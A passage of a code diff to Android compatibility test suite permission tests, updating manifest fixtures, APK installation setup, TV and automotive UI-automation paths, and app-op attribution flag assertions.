         assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
     }
 
-    @SecurityTest(minPatchLevel = "2021-01")
     @Test
+    @AsbSecurityTest(cveBugId = 155648771)
     public void installPermissionShouldBeRevokedIfRemoved() throws Throwable {
         installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
         installApp(INSTALL_PERMISSION_USER_APK_NAME);
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 266a4d5..5ff702f 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -1663,11 +1663,6 @@
     <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- The system server uses this permission to install a default secondary location time zone
-         provider.
-    -->
-    <uses-permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"/>
-
     <!-- @SystemApi @hide Allows an application to bind to a android.service.TimeZoneProviderService
          for the purpose of detecting the device's time zone. This prevents arbitrary clients
          connecting to the time zone provider service. The system server checks that the provider's
@@ -5795,10 +5790,6 @@
              android:label="@string/sensor_notification_service"/>
     <!-- Attribution for Twilight service. -->
     <attribution android:tag="TwilightService" android:label="@string/twilight_service"/>
-    <!-- Attribution for the Offline LocationTimeZoneProvider, used to detect time zone using
-         on-device data -->
-    <attribution android:tag="OfflineLocationTimeZoneProviderService"
-                 android:label="@string/offline_location_time_zone_detection_service_attribution"/>
     <!-- Attribution for Gnss Time Update service. -->
     <attribution android:tag="GnssTimeUpdateService"
                  android:label="@string/gnss_time_update_service"/>
@@ -6278,19 +6269,6 @@
             </intent-filter>
         </service>
 
-        <!-- AOSP configures a default secondary LocationTimeZoneProvider that uses an on-device
-             data set from the com.android.geotz APEX. -->
-        <service android:name="com.android.timezone.location.provider.OfflineLocationTimeZoneProviderService"
-                 android:enabled="@bool/config_enableSecondaryLocationTimeZoneProvider"
-                 android:permission="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
-                 android:exported="false">
-            <intent-filter>
-                <action android:name="android.service.timezone.SecondaryLocationTimeZoneProviderService" />
-            </intent-filter>
-            <meta-data android:name="serviceVersion" android:value="1" />
-            <meta-data android:name="serviceIsMultiuser" android:value="true" />
-        </service>
-
         <provider
             android:name="com.android.server.textclassifier.IconsContentProvider"
             android:authorities="com.android.textclassifier.icons"
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index ff9bbcf..27b7c3b 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -476,7 +476,7 @@
         android:description="@string/car_permission_desc_template_renderer"/>
 
     <permission android:name="android.car.permission.CAR_MONITOR_INPUT"
-        android:protectionLevel="signature"
+        android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_monitor_input"
         android:description="@string/car_permission_desc_monitor_input"/>
 
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 1458439..d708d76 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -36,11 +36,11 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermission3TestCases.apk" />
-        <option name="test-file-name" value="CtsAccessMicrophoneApp.apk" />
-        <option name="test-file-name" value="CtsAccessMicrophoneApp2.apk" />
     </target_preparer>
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="CtsAccessMicrophoneApp.apk->/data/local/tmp/cts/permission3/CtsAccessMicrophoneApp.apk" />
+        <option name="push" value="CtsAccessMicrophoneApp2.apk->/data/local/tmp/cts/permission3/CtsAccessMicrophoneApp2.apk" />
         <option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
         <option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
         <option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 546dfb9..322fc03 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -108,9 +108,13 @@
     protected fun installPackage(
         apkPath: String,
         reinstall: Boolean = false,
+        grantRuntimePermissions: Boolean = false,
         expectSuccess: Boolean = true
     ) {
-        val output = runShellCommand("pm install${if (reinstall) " -r" else ""} $apkPath").trim()
+        val output = runShellCommand(
+            "pm install${if (reinstall) " -r" else ""}${if (grantRuntimePermissions) " -g" else ""
+                } $apkPath"
+        ).trim()
         if (expectSuccess) {
             assertEquals("Success", output)
         } else {
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 67da230..1383aff 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -28,10 +28,8 @@
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiScrollable
 import android.support.test.uiautomator.UiSelector
-import android.support.test.uiautomator.StaleObjectException
 import android.text.Spanned
 import android.text.style.ClickableSpan
-import android.util.Log
 import android.view.View
 import com.android.compatibility.common.util.SystemUtil.eventually
 import org.junit.After
@@ -84,6 +82,8 @@
 
         const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
         const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+        const val ALLOW_FOREGROUND_PREFERENCE_TEXT = "permission_access_only_foreground"
+        const val ASK_BUTTON_TEXT = "app_permission_button_ask"
         const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
         const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
                 "grant_dialog_button_deny_and_dont_ask_again"
@@ -321,7 +321,7 @@
     }
 
     protected fun clickPermissionRequestDenyButton() {
-        if (isAutomotive || isWatch) {
+        if (isAutomotive || isWatch || isTv) {
             click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
         } else {
             click(By.res(DENY_BUTTON))
@@ -410,11 +410,16 @@
         isLegacyApp: Boolean,
         targetSdk: Int
     ) {
-        pressBack()
-        pressBack()
-        pressBack()
         if (isTv) {
+            // Dismiss DeprecatedTargetSdkVersionDialog, if present
+            if (waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), 1000L) != null) {
+                pressBack()
+            }
             pressHome()
+        } else {
+            pressBack()
+            pressBack()
+            pressBack()
         }
 
         // Try multiple times as the AppInfo page might have read stale data
@@ -440,13 +445,22 @@
         for (permission in permissions) {
             // Find the permission screen
             val permissionLabel = getPermissionLabel(permission)
-
-            click(By.text(permissionLabel))
+            if (isWatch) {
+                click(By.text(permissionLabel), 40_000)
+            } else {
+                click(By.text(permissionLabel))
+            }
 
             val wasGranted = if (isAutomotive) {
                 // Automotive doesn't support one time permissions, and thus
                 // won't show an "Ask every time" message
-                !waitFindObject(By.res(DENY_RADIO_BUTTON)).isChecked
+                !waitFindObject(By.text(
+                        getPermissionControllerString("app_permission_button_deny"))).isChecked
+            } else if (isTv) {
+                !(waitFindObject(
+                    By.text(getPermissionControllerString(DENY_BUTTON_TEXT))).isChecked ||
+                    (!isLegacyApp && hasAskButton(permission) && waitFindObject(
+                        By.text(getPermissionControllerString(ASK_BUTTON_TEXT))).isChecked))
             } else {
                 if (isWatch) {
                     click(By.text("Deny"))
@@ -463,12 +477,34 @@
                     when (state) {
                         PermissionState.ALLOWED ->
                             if (showsForegroundOnlyButton(permission)) {
-                                By.res(ALLOW_FOREGROUND_RADIO_BUTTON)
+                                By.text(getPermissionControllerString(
+                                        "app_permission_button_allow_foreground"))
                             } else {
-                                By.res(ALLOW_RADIO_BUTTON)
+                                By.text(getPermissionControllerString(
+                                                "app_permission_button_allow"))
                             }
-                        PermissionState.DENIED -> By.res(DENY_RADIO_BUTTON)
-                        PermissionState.DENIED_WITH_PREJUDICE -> By.res(DENY_RADIO_BUTTON)
+                        PermissionState.DENIED -> By.text(
+                                getPermissionControllerString("app_permission_button_deny"))
+                        PermissionState.DENIED_WITH_PREJUDICE -> By.text(
+                                getPermissionControllerString("app_permission_button_deny"))
+                    }
+                } else if (isTv) {
+                    when (state) {
+                        PermissionState.ALLOWED ->
+                            if (showsForegroundOnlyButton(permission)) {
+                                By.text(getPermissionControllerString(
+                                        ALLOW_FOREGROUND_PREFERENCE_TEXT))
+                            } else {
+                                By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT))
+                            }
+                        PermissionState.DENIED ->
+                            if (!isLegacyApp && hasAskButton(permission)) {
+                                By.text(getPermissionControllerString(ASK_BUTTON_TEXT))
+                            } else {
+                                By.text(getPermissionControllerString(DENY_BUTTON_TEXT))
+                            }
+                        PermissionState.DENIED_WITH_PREJUDICE -> By.text(
+                                getPermissionControllerString(DENY_BUTTON_TEXT))
                     }
                 } else {
                     when (state) {
@@ -499,7 +535,9 @@
                 button.click()
             }
             if (!alreadyChecked && isLegacyApp && wasGranted) {
-                scrollToBottom()
+                if (!isTv) {
+                    scrollToBottom()
+                }
                 val resources = context.createPackageContext(
                     packageManager.permissionControllerPackageName, 0
                 ).resources
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index be77666..e6cf2de 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -18,10 +18,15 @@
 
 import android.Manifest
 import android.content.Intent
+import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.os.Build
 import android.support.test.uiautomator.By
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assume.assumeFalse
+import org.junit.Before
+import org.junit.Ignore
 import org.junit.Test
 
 private const val APP_LABEL_1 = "CtsMicAccess"
@@ -34,11 +39,43 @@
 private const val SHOW_SYSTEM = "Show system"
 private const val MORE_OPTIONS = "More options"
 
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S, codeName = "S")
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
 class PermissionHistoryTest : BasePermissionTest() {
     private val micLabel = packageManager.getPermissionGroupInfo(
             Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
 
+    // Permission history is not available on TV devices.
+    @Before
+    fun assumeNotTv() =
+            assumeFalse(packageManager.hasSystemFeature(FEATURE_LEANBACK))
+
+    @Before
+    fun installApps() {
+        uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
+        uninstallPackage(APP2_PACKAGE_NAME, requireSuccess = false)
+        installPackage(APP_APK_PATH, grantRuntimePermissions = true)
+        installPackage(APP2_APK_PATH, grantRuntimePermissions = true)
+    }
+
+    @After
+    fun uninstallApps() {
+        uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
+        uninstallPackage(APP2_PACKAGE_NAME, requireSuccess = false)
+    }
+
+    @Test
+    fun testMicrophoneAccessShowsUpOnPrivacyDashboard() {
+        openMicrophoneApp(INTENT_ACTION_1)
+        waitFindObject(By.textContains(APP_LABEL_1))
+
+        openPermissionDashboard()
+        waitFindObject(By.res("android:id/title").textContains("Microphone")).click()
+        waitFindObject(By.descContains(micLabel))
+        waitFindObject(By.textContains(APP_LABEL_1))
+        pressBack()
+        pressBack()
+    }
+
     @Test
     fun testToggleSystemApps() {
         // I had some hard time mocking a system app.
@@ -53,7 +90,7 @@
         menuView.click()
 
         waitFindObject(By.text(SHOW_SYSTEM))
-        uiDevice.pressBack()
+        pressBack()
     }
 
     @Test
@@ -68,8 +105,10 @@
                 PERMISSION_CONTROLLER_PACKAGE_ID_PREFIX + HISTORY_PREFERENCE_ICON))
         waitFindObject(By.res(
                 PERMISSION_CONTROLLER_PACKAGE_ID_PREFIX + HISTORY_PREFERENCE_TIME))
+        pressBack()
     }
 
+    @Ignore("b/186656826#comment27")
     @Test
     fun testCameraTimelineWithMultipleApps() {
         openMicrophoneApp(INTENT_ACTION_1)
@@ -82,6 +121,7 @@
         waitFindObject(By.descContains(micLabel))
         waitFindObject(By.textContains(APP_LABEL_1))
         waitFindObject(By.textContains(APP_LABEL_2))
+        pressBack()
     }
 
     private fun openMicrophoneApp(intentAction: String) {
@@ -98,4 +138,19 @@
             })
         }
     }
-}
\ No newline at end of file
+
+    private fun openPermissionDashboard() {
+        SystemUtil.runWithShellPermissionIdentity {
+            context.startActivity(Intent(Intent.ACTION_REVIEW_PERMISSION_USAGE).apply {
+                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+            })
+        }
+    }
+
+    companion object {
+        const val APP_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneApp.apk"
+        const val APP_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapp"
+        const val APP2_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneApp2.apk"
+        const val APP2_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapp2"
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 9f06c2a..8ef2d19 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -59,6 +59,8 @@
     fun testTapjackGrantDialog_partialOverlay() {
         // PermissionController for television uses a floating window.
         assumeFalse(isTv)
+        // Automotive doesn't support detecting partial overlays yet: b/192088266
+        assumeFalse(isAutomotive)
 
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index d0a7055..8e2958d 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -31,6 +31,7 @@
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiSelector
 import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.DisableAnimationRule
 import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
 import com.android.compatibility.common.util.SystemUtil.eventually
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
@@ -42,6 +43,7 @@
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
+import org.junit.Rule
 import org.junit.Test
 
 private const val APP_LABEL = "CtsCameraMicAccess"
@@ -64,6 +66,7 @@
     private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     private val packageManager: PackageManager = context.packageManager
 
+    private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     private var wasEnabled = false
     private val micLabel = packageManager.getPermissionGroupInfo(
         Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
@@ -72,6 +75,9 @@
 
     private var screenTimeoutBeforeTest: Long = 0L
 
+    @get:Rule
+    val disableAnimationRule = DisableAnimationRule()
+
     @Before
     fun setUp() {
         runWithShellPermissionIdentity {
@@ -99,7 +105,7 @@
         var currentlyEnabled = false
         runWithShellPermissionIdentity {
             currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
-                INDICATORS_FLAG, false)
+                INDICATORS_FLAG, true)
             if (currentlyEnabled != shouldBeEnabled) {
                 DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
                     shouldBeEnabled.toString(), false)
@@ -119,9 +125,10 @@
                 screenTimeoutBeforeTest
             )
         }
-
-        pressBack()
-        pressBack()
+        if (!isTv) {
+            pressBack()
+            pressBack()
+        }
         pressHome()
         pressHome()
         Thread.sleep(3000)
@@ -164,7 +171,7 @@
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
 
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+        if (isTv) {
             assertTvIndicatorsShown(useMic, useCamera, useHotword)
         } else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
             assertCarIndicatorsShown(useMic, useCamera)
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
index 93e39db..8cff38a 100644
--- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -24,12 +24,14 @@
 import android.content.Context
 import android.content.ContextParams
 import android.content.Intent
+import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.net.Uri
 import android.os.Bundle
 import android.os.Process
 import android.os.RemoteCallback
 import android.os.SystemClock
 import android.os.UserHandle
+import android.permission.PermissionManager
 import android.platform.test.annotations.AppModeFull
 import android.provider.CalendarContract
 import android.provider.CallLog
@@ -41,12 +43,13 @@
 import com.android.compatibility.common.util.SystemUtil
 import com.google.common.truth.Truth.assertThat
 import org.junit.After
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Test
 import org.mockito.ArgumentMatcher
 import org.mockito.Mockito.eq
-import org.mockito.Mockito.intThat
 import org.mockito.Mockito.inOrder
+import org.mockito.Mockito.intThat
 import org.mockito.Mockito.isNull
 import org.mockito.Mockito.mock
 import java.util.concurrent.CountDownLatch
@@ -101,6 +104,7 @@
     @Test
     @Throws(Exception::class)
     fun testSelfSmsAccess() {
+        assumeNotTv()
         testSelfAccess(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -173,6 +177,7 @@
     @Test
     @Throws(Exception::class)
     fun testUntrustedSmsAccessAttributeToAnother() {
+        assumeNotTv()
         testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -219,6 +224,7 @@
     @Test
     @Throws(Exception::class)
     fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
+        assumeNotTv()
         testUntrustedAccessAttributeToAnotherThroughIntermediary(
                 Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
@@ -316,6 +322,7 @@
     @Test
     @Throws(Exception::class)
     fun testTrustedAccessSmsAttributeToAnother() {
+        assumeNotTv()
         testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -408,13 +415,13 @@
                                 RECEIVER2_PACKAGE_NAME, 0), RECEIVER2_PACKAGE_NAME,
                                 /*attributionTag*/ null, null, context.attributionSource),
                         /*accessorForeground*/ true, /*receiverForeground*/ true,
-                        /*accessorTrusted*/ true, /*accessorAccessCount*/ 1,
+                        /*accessorTrusted*/ false, /*accessorAccessCount*/ 1,
                         /*receiverAccessCount*/ 1, /*checkAccessor*/ true,
                         /*fromDatasource*/ false)
 
                 assertRunningOpAccess(op, speechStartTime, System.currentTimeMillis(),
                         context.attributionSource, /*accessorForeground*/ true,
-                        /*receiverForeground*/ true, /*accessorTrusted*/ true,
+                        /*receiverForeground*/ true, /*accessorTrusted*/ false,
                         /*accessorAccessCount*/ 0, /*receiverAccessCount*/ 1,
                         /*checkAccessor*/ false, /*fromDatasource*/ false)
 
@@ -431,13 +438,13 @@
                         AttributionSource(recognizerUid, RECEIVER2_PACKAGE_NAME,
                                 /*attributionTag*/ null, null, context.attributionSource),
                         /*accessorForeground*/ true, /*receiverForeground*/ true,
-                        /*accessorTrusted*/ true, /*accessorAccessCount*/ 1,
+                        /*accessorTrusted*/ false, /*accessorAccessCount*/ 1,
                         /*receiverAccessCount*/ 1, /*checkAccessor*/ true,
                         /*fromDatasource*/ false)
 
                 assertNotRunningOpAccess(op, speechStartTime, System.currentTimeMillis(),
                         context.attributionSource, /*accessorForeground*/ true,
-                        /*receiverForeground*/ true, /*accessorTrusted*/ true,
+                        /*receiverForeground*/ true, /*accessorTrusted*/ false,
                         /*accessorAccessCount*/ 0, /*receiverAccessCount*/ 1,
                         /*checkAccessor*/ false, /*fromDatasource*/ false)
 
@@ -590,29 +597,29 @@
 
                 inOrder.verify(listener).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
                         eq(recognizerUid), eq(RECEIVER2_PACKAGE_NAME), isNull(), eq(true),
-                        eq(AppOpsManager.ATTRIBUTION_FLAG_ACCESSOR),
+                        eq(AppOpsManager.ATTRIBUTION_FLAG_ACCESSOR or ATTRIBUTION_FLAG_TRUSTED),
                         intThat(attributionChainIdMatcher))
                 inOrder.verify(listener).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
                         eq(Process.myUid()), eq(context.packageName), eq(ACCESSOR_ATTRIBUTION_TAG),
-                        eq(true), eq(AppOpsManager.ATTRIBUTION_FLAG_INTERMEDIARY),
-                        intThat(attributionChainIdMatcher))
+                        eq(true), eq(AppOpsManager.ATTRIBUTION_FLAG_INTERMEDIARY or
+                        ATTRIBUTION_FLAG_TRUSTED), intThat(attributionChainIdMatcher))
                 inOrder.verify(listener).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
                         eq(receiverUid), eq(RECEIVER_PACKAGE_NAME), eq(RECEIVER_ATTRIBUTION_TAG),
-                        eq(true), eq(AppOpsManager.ATTRIBUTION_FLAG_RECEIVER),
-                        intThat(attributionChainIdMatcher))
+                        eq(true), eq(AppOpsManager.ATTRIBUTION_FLAG_RECEIVER or
+                        ATTRIBUTION_FLAG_TRUSTED), intThat(attributionChainIdMatcher))
 
                 inOrder.verify(listener).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
                         eq(recognizerUid), eq(RECEIVER2_PACKAGE_NAME), isNull(), eq(false),
-                        eq(AppOpsManager.ATTRIBUTION_FLAG_ACCESSOR),
+                        eq(AppOpsManager.ATTRIBUTION_FLAG_ACCESSOR or ATTRIBUTION_FLAG_TRUSTED),
                         intThat(attributionChainIdMatcher))
                 inOrder.verify(listener).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
                         eq(Process.myUid()), eq(context.packageName), eq(ACCESSOR_ATTRIBUTION_TAG),
-                        eq(false), eq(AppOpsManager.ATTRIBUTION_FLAG_INTERMEDIARY),
-                        intThat(attributionChainIdMatcher))
+                        eq(false), eq(AppOpsManager.ATTRIBUTION_FLAG_INTERMEDIARY or
+                        ATTRIBUTION_FLAG_TRUSTED), intThat(attributionChainIdMatcher))
                 inOrder.verify(listener).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
                         eq(receiverUid), eq(RECEIVER_PACKAGE_NAME), eq(RECEIVER_ATTRIBUTION_TAG),
-                        eq(false), eq(AppOpsManager.ATTRIBUTION_FLAG_RECEIVER),
-                        intThat(attributionChainIdMatcher))
+                        eq(false), eq(AppOpsManager.ATTRIBUTION_FLAG_RECEIVER or
+                        ATTRIBUTION_FLAG_TRUSTED), intThat(attributionChainIdMatcher))
             } finally {
                 // Take down the recognition service
                 instrumentation.runOnMainSync { recognizerRef.get().destroy() }
@@ -650,12 +657,16 @@
         val OPERATION_MIC_RECO_WITH_ATTRIBUTION = "operation:mic_reco_with_attribution"
         val OPERATION_INJECT_RECO_WITHOUT_ATTRIBUTION = "operation:inject_reco_without_attribution"
 
+        val ATTRIBUTION_FLAG_TRUSTED = 0x8
+
         private val context: Context
             get() = InstrumentationRegistry.getInstrumentation().getContext()
 
         private val instrumentation: Instrumentation
             get() = InstrumentationRegistry.getInstrumentation()
 
+        private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK)
+
         fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
             SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
             SystemUtil.runShellCommand("am force-stop $RECEIVER2_PACKAGE_NAME")
@@ -751,8 +762,7 @@
             }
             if (attributionSource.next != null) {
                 assertLastReceiverOps(op, beginEndMillis, endTimeMillis, attributionSource,
-                        receiverForeground, accessorTrusted, assertRunning, fromDatasource,
-                        allPackagesOps)
+                        receiverForeground, accessorTrusted, assertRunning, allPackagesOps)
             }
         }
 
@@ -803,7 +813,7 @@
             }
             if (attributionSource.next != null) {
                 assertHistoricalReceiverOps(op, attributionSource, receiverForeground,
-                        accessorTrusted, fromDatasource, receiverAccessCount, historicalOps)
+                        accessorTrusted, receiverAccessCount, historicalOps)
             }
         }
 
@@ -899,7 +909,7 @@
                         accessorForeground, assertedAccessCount)
             } else if (accessorTrusted) {
                 // Access for others and we are trusted. If we got the data from a datasource it
-                // would blame the accessor in a trusted way but all other apps are not trusted.
+                // would blame the accessor in a trusted way
                 if (fromDatasource) {
                     assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_TRUSTED_PROXIED,
                             accessorForeground, assertedAccessCount)
@@ -945,7 +955,6 @@
             receiverForeground: Boolean,
             accessorTrusted: Boolean,
             assertRunning: Boolean,
-            fromDatasource: Boolean,
             allPackagesOps: List<AppOpsManager.PackageOps?>
         ) {
             val receiverPackageOps = findPackageOps(
@@ -961,15 +970,11 @@
                 val opProxyInfo: AppOpsManager.OpEventProxyInfo?
                 opProxyInfo = if (accessorTrusted) {
                     // Received from a trusted accessor. If we got the data from a datasource it
-                    // would blame the accessor in a trusted way but all other apps are not trusted.
-                    val flags =
-                        if (fromDatasource)
-                            AppOpsManager.OP_FLAG_TRUSTED_PROXIED
-                        else
-                            AppOpsManager.OP_FLAG_TRUSTED_PROXIED
+                    // would blame the accessor in a trusted way
                     assertLastAccessInRange(attributedOpEntry!!, beginTimeMillis, endTimeMillis,
-                            flags, receiverForeground, assertRunning)
-                    attributedOpEntry.getLastProxyInfo(flags)
+                            AppOpsManager.OP_FLAG_TRUSTED_PROXIED, receiverForeground,
+                            assertRunning)
+                    attributedOpEntry.getLastProxyInfo(AppOpsManager.OP_FLAG_TRUSTED_PROXIED)
                 } else {
                     // Received from an untrusted accessor
                     assertLastAccessInRange(attributedOpEntry!!, beginTimeMillis, endTimeMillis,
@@ -989,7 +994,6 @@
             attributionSource: AttributionSource,
             receiverForeground: Boolean,
             accessorTrusted: Boolean,
-            fromDatasource: Boolean,
             assertedAccessCount: Int,
             historicalOps: AppOpsManager.HistoricalOps
         ) {
@@ -1001,16 +1005,9 @@
                     attributionSource.next!!.attributionTag!!)
             val attributedPackageOp = attributedPackageOps!!.getOp(op)
             if (accessorTrusted) {
-                // Received from a trusted accessor. If we got the data from a datasource
-                // the latter is the proxy and we proxied, otherwise we are the proxy.
-                if (fromDatasource) {
-                    assertAccessCount(attributedPackageOp!!,
-                            AppOpsManager.OP_FLAG_TRUSTED_PROXIED, receiverForeground,
-                            assertedAccessCount)
-                } else {
+                // Received from a trusted accessor.
                     assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_TRUSTED_PROXIED,
                             receiverForeground, assertedAccessCount)
-                }
             } else {
                 // Received from an untrusted accessor
                 assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED,
@@ -1179,5 +1176,7 @@
             activityStatedLatch.await(ASYNC_OPERATION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
             return attributionSourceRef.get()
         }
+
+        private fun assumeNotTv() = assumeFalse(isTv)
     }
 }
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index 746f970..daf6eb0 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -27,7 +27,8 @@
 
         <activity android:name="android.print.test.PrintDocumentActivity"
              android:configChanges="mnc|mnc|touchscreen|navigation|screenLayout|screenSize|smallestScreenSize|orientation|locale|keyboard|keyboardHidden|fontScale|uiMode|layoutDirection|density"
-             android:theme="@style/NoAnimation"/>
+             android:theme="@style/NoAnimation"
+             android:screenOrientation="sensor"/>
 
         <service android:name="android.print.test.services.FirstPrintService"
              android:permission="android.permission.BIND_PRINT_SERVICE"
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index f383b24..c979102 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -13,6 +13,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
 
     libs: [
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 24332de..3e6165f 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -38,7 +38,7 @@
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 import android.os.storage.StorageManager;
-import android.platform.test.annotations.SecurityTest;
